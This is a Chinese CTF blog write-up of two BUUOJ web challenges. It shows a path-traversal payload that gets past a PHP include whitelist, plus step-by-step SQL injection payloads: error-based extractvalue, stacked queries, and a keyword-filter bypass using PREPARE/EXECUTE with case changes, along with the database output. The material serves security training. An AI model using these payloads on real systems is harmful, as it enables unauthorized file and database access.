BUUOJ(Web)

Web

[HCTF 2018]WarmUp

查看页面源代码访问source.php

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

?file=hint.php

flag not here, and flag in ffffllllaaaagggg

!empty($_REQUEST['file'])要我们的file变量不为空

is_string($_REQUEST['file'])要求我们传进来的值是字符串类型

emmm::checkFile($_REQUEST['file'])这里将我们的的值传到emmm类里面的checkFile函数

//mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
// mb_strpos (haystack ,needle )
// haystack:要被检查的字符串。
// needle:要搜索的字符串

//mb_substr() 函数返回字符串的一部分。

//str 必需。从该 string 中提取子字符串。
//start 必需。规定在字符串的何处开始。
//ength 可选。规定要返回的字符串长度。默认是直到字符串的结尾。

构造(如果没有flag,就多写几个../)

?file=hint.php?/../../../../ffffllllaaaagggg
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        ); 

上述函数将hint.php后的内容截断,$_page=hint.php,可以通过emmm::checkFile验证

参考

[强网杯 2019]随便注

1.判断有无注入

1'   报错
1'#  正常且为True
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
1' and 1=1#  正常且为True
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
1' and 1=2#  正常且为False

2.判断列数

1' order by 2# 正常
1' order by 3# 报错

3.查询数据

extractvalue()
extractvalue() :对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

updatexml()
updatexml()函数与extractvalue()类似,是更新xml文档的函数。

语法updatexml(目标xml文档,xml路径,更新的内容)
参考:https://blog.csdn.net/zpy1998zpy/article/details/80631036
MySQL CONCAT()函数需要一个或多个字符串参数,并将它们连接成一个字符串。CONCAT()函数需要至少一个参数,否则会引起错误。
MySQL提供了一种特殊形式的CONCAT()函数:CONCAT_WS()函数。CONCAT_WS()函数将两个或多个字符串值与预定义的分隔符相连接。
1' union select 1,databse()#
报错:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
1' and (extractvalue(1,concat(0x7e,database(),0x7e)));
error 1105 : XPATH syntax error: '~supersqli~'
堆叠注入(一次执行多条命令)
-1';show tables#
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}
-1';desc `1919810931114514`#
array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
-1';desc `words`#
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
# 也可以用以下方式
-1';show columns from `1919810931114514`#
-1';show columns from `words`#

# 注意,以上表名要加反引号

目标语句

select * from `1919810931114514`; #但是select已被过滤

这里需要绕过select的限制,我们可以使用预编译的方式。

预编译相关语法如下:

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

payload

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
#strstr($inject, "set") && strstr($inject, "prepare")

这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

拆分开来如下:
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#
#array(1) {
#  [0]=>
#  string(42) "flag{8b6d8a3f-7b96-44b2-bbc3-f4f5bf2a32ea}"
#}

方法二和源代码分析请看这篇文章

posted @ 2020-11-03 14:14  凯在想peach  阅读(727)  评论(0编辑  收藏  举报